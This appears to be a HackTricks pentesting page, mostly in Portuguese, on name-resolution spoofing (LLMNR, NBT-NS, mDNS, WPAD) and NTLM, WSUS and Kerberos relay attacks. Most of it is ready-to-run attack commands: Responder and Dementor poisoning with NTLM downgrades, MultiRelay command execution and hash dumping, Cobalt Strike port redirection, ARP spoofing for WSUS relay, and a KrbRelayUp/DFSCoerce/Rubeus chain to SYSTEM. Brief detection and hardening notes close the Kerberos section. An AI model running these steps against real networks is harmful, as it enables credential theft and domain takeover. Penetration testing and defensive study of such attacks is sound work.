Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Protocolos de Rede
Protocolos de Resolução de Nome Local
- LLMNR, NBT-NS, and mDNS:
- Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes locais quando o DNS falha. De forma similar, sistemas Apple e Linux usam mDNS.
- Esses protocolos são suscetíveis a interceptação e spoofing devido à sua natureza broadcast não autenticada sobre UDP.
- Responder and Dementor podem ser usados para se passar por serviços enviando respostas forjadas a hosts que consultam esses protocolos.
- Further information on service impersonation using Responder can be found here.
Protocolo Web Proxy Auto-Discovery (WPAD)
- WPAD permite que navegadores descubram configurações de proxy automaticamente.
- A descoberta é facilitada via DHCP, DNS, ou recorrendo a LLMNR e NBT-NS se o DNS falhar.
- Responder pode automatizar ataques WPAD, direcionando clientes para servidores WPAD maliciosos.
Responder/Dementor para envenenamento de protocolos
-
Responder é uma ferramenta usada para envenenar consultas LLMNR, NBT-NS e mDNS, respondendo seletivamente com base no tipo de consulta, principalmente visando serviços SMB.
-
Vem pré-instalado no Kali Linux, configurável em
/etc/responder/Responder.conf. -
O Responder exibe hashes capturados na tela e os salva no diretório
/usr/share/responder/logs. -
Suporta tanto IPv4 quanto IPv6.
-
Windows version of Responder is available here.
-
Dementor expande os tópicos de envenenamento multicast e adicionalmente atua como um provedor de serviços malicioso (incluindo suporte a CUPS RCE)
-
A estrutura geral é similar ao Responder com configuração mais granular. (o padrão está aqui: Dementor.toml)
-
Compatibility between Dementor and Responder is given here: Compatibility Matrix
-
Introdução e documentação aqui: Dementor - Docs
-
Corrige problemas de captura introduzidos pelo Responder em certos protocolos
Executando o Responder
- Para executar o Responder com configurações padrão:
responder -I <Interface> - Para sondagem mais agressiva (com possíveis efeitos colaterais):
responder -I <Interface> -P -r -v - Técnicas para capturar desafios/respostas NTLMv1 para facilitar o cracking:
responder -I <Interface> --lm --disable-ess - A personificação WPAD pode ser ativada com:
responder -I <Interface> --wpad - Requisições NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado:
responder.py -I <interface> -Pv
Executando o Dementor
- Com configurações padrão aplicadas:
Dementor -I <interface> - Com configurações padrão no modo de análise:
Dementor -I <interface> -A - Rebaixamento automático de sessão NTLM (ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - Executar sessão atual com configuração personalizada:
Dementor -I <interface> --config <file.toml>
Envenenamento DHCP com Responder
- Forjar respostas DHCP pode envenenar permanentemente as informações de roteamento da vítima, oferecendo uma alternativa mais furtiva ao envenenamento ARP.
- Requer conhecimento preciso da configuração da rede alvo.
- Executando o ataque:
./Responder.py -I eth0 -Pdv - Esse método pode capturar efetivamente hashes NTLMv1/2, mas requer cuidado para evitar interrupção da rede.
Capturando Credenciais com Responder/Dementor
- Responder/Dementor irá se passar por serviços usando os protocolos mencionados acima, capturando credenciais (normalmente NTLMv2 Challenge/Response) quando um usuário tenta autenticar-se contra os serviços falsificados.
- Podem ser feitas tentativas de rebaixamento para NetNTLMv1 ou desabilitar ESS para facilitar o cracking das credenciais.
If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.
É crucial notar que empregar essas técnicas deve ser feito legalmente e eticamente, garantindo autorização adequada e evitando interrupções ou acesso não autorizado.
Inveigh
Inveigh is a tool for penetration testers and red teamers, designed for Windows systems. It offers functionalities similar to Responder, performing spoofing and man-in-the-middle attacks. The tool has evolved from a PowerShell script to a C# binary, with Inveigh and InveighZero as the main versions. Detailed parameters and instructions can be found in the wiki.
O Inveigh pode ser operado via PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Ou executado como um binário C#:
Inveigh.exe
NTLM Relay Attack
Este ataque explora sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell do sistema se for bem-sucedido. Pré-requisitos chave incluem:
- O usuário autenticante deve ter Local Admin access no host que recebe o relay.
- SMB signing deve estar desabilitado.
Encaminhamento e Tunelamento da Porta 445
Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como PortBender ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando Local Admin access está disponível para driver loading.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Outras ferramentas para NTLM Relay Attack
- Metasploit: Configure com proxies, detalhes do host local e remoto.
- smbrelayx: Um script Python para relaying de sessões SMB e executar comandos ou implantar backdoors.
- MultiRelay: Uma ferramenta da suíte Responder para relaying de usuários específicos ou de todos os usuários, executar comandos ou fazer dump de hashes.
Cada ferramenta pode ser configurada para operar através de um SOCKS proxy, se necessário, permitindo ataques mesmo com acesso de rede indireto.
Operação do MultiRelay
MultiRelay é executado a partir do diretório /usr/share/responder/tools, visando IPs ou usuários específicos.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
RelayKing – descoberta de alvos passíveis de relay e listas de relays curadas
RelayKing is an NTLM relay exposure auditor that maps where relays are viable and produces ready-to-use target lists for ntlmrelayx.py -tf. It checks protocol hardening (SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth) and flags coercion/reflection helpers (PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection).
- Autenticação melhora a confiabilidade dos checks HTTPS/LDAPS CBT e MSSQL EPA; o nível de SMB signing/signature é sondado sem autenticação.
- O pathing de relay cross-protocol aproveita achados confirmados de Net-NTLMv1 (
--ntlmv1/--ntlmv1-all); um ranking de gravidade é fornecido por caminho. --gen-relay-list <file>escreve uma lista de alvos compatível com grep parantlmrelayx.py -tf <file>para evitar tentativa e erro.--coerce-allaciona em massa PetitPotam/DFSCoerce/PrinterBug contra todos os alvos;--ntlmv1-all(RemoteRegistry) e--audit(extração de hosts LDAP em todo o domínio) são ruidosos e geram muitos logons/acessos remotos.--proto-portscanacelera a varredura pulando portas fechadas;--krb-dc-onlyajuda quando DCs bloqueiam NTLM mas outros serviços ainda o aceitam.
Exemplos de varreduras:
# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt
# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and …\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb
-u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers
-
Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap://
-smb2support -socks –keep-relaying –http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py –http-port 8530 -t http://
/certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.
Notes
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
Force NTLM Logins
In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.
Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Purpose | Relay relevance |
|---|---|---|
| TGT / AS-REQ ↔ REP | Proves the user to the KDC | untouched |
| Service ticket / TGS-REQ ↔ REP | Bound to one SPN; encrypted with the SPN owner’s key | interchangeable if SPNs share account |
| AP-REQ | Client sends TGS to the service | what we steal & replay |
- Tickets are encrypted with the password-derived key of the account that owns the SPN.
- The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
- Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for
CIFS/HOSTnormally decrypts fine onLDAP/HOST.
-
- What must be true to relay Kerberos
- Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
- No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
- Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
- You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Iniciar o listener de relay
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp empacota KrbRelay → LDAP → RBCD → Rubeus → SCM bypass em um único binário.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce faz com que o DC envie um ticket Kerberos CIFS/DC01 para nós.
- 3.4 Relay the AP-REQ
KrbRelay extrai o GSS blob do SMB, reembala-o em um LDAP bind e o encaminha para ldap://DC01—a autenticação tem sucesso porque a mesma chave o descriptografa.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Agora você possui NT AUTHORITY\SYSTEM.
Mais caminhos que valem a pena conhecer
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | Servidor falso envia um GSS-ID payload com qualquer SPN; o cliente constrói um AP-REQ direto para você | Funciona mesmo entre sub-redes; machine creds por padrão |
| DCOM / MSRPC | Resolver OXID malicioso força o cliente a se autenticar em um SPN arbitrário e porta | Priv-esc local puro; contorna firewall |
| AD CS Web Enroll | Relay o ticket da máquina para HTTP/CA e obtenha um cert, depois use PKINIT para forjar TGTs | Contorna defesas de LDAP signing |
| Shadow Credentials | Escreva msDS-KeyCredentialLink, depois PKINIT com par de chaves forjado | Não precisa adicionar uma conta de computador |
Solução de problemas
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | Chave do ticket ≠ chave do alvo | Host/SPN incorreto |
KRB_AP_ERR_SKEW | Relógio com diferença > 5 min | Sincronize hora ou use w32tm |
| LDAP bind fails | Assinatura forçada | Use o caminho AD CS ou desative a assinatura |
| Event 4649 spam | Serviço detectou Authenticator duplicado | Bloquear ou disputar (race) o pacote original |
Detecção
- Aumento em Event 4769 para
CIFS/,HTTP/,LDAP/vindos da mesma origem em segundos. - Event 4649 no serviço indica replay detectado.
- Logon Kerberos a partir de 127.0.0.1 (relay para SCM local) é altamente suspeito — mapeie via regra Sigma nos docs do KrbRelayUp.
- Monitore alterações nos atributos
msDS-AllowedToActOnBehalfOfOtherIdentityoumsDS-KeyCredentialLink.
Endurecimento
- Enforce LDAP & SMB signing + EPA em todos os servidores.
- Split SPNs para que HTTP não esteja na mesma conta que CIFS/LDAP.
- Corrija vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
- Defina
ms-DS-MachineAccountQuota = 0para evitar junções de computadores não autorizados. - Alerta para Event 4649 e logons Kerberos de loopback inesperados.
References
- HTB: Breach – Writable SMB share lures + Responder capture → NetNTLMv2 crack
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
- RelayKing v1.0
- Depth Security – Introducing RelayKing: Relay to Royalty
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


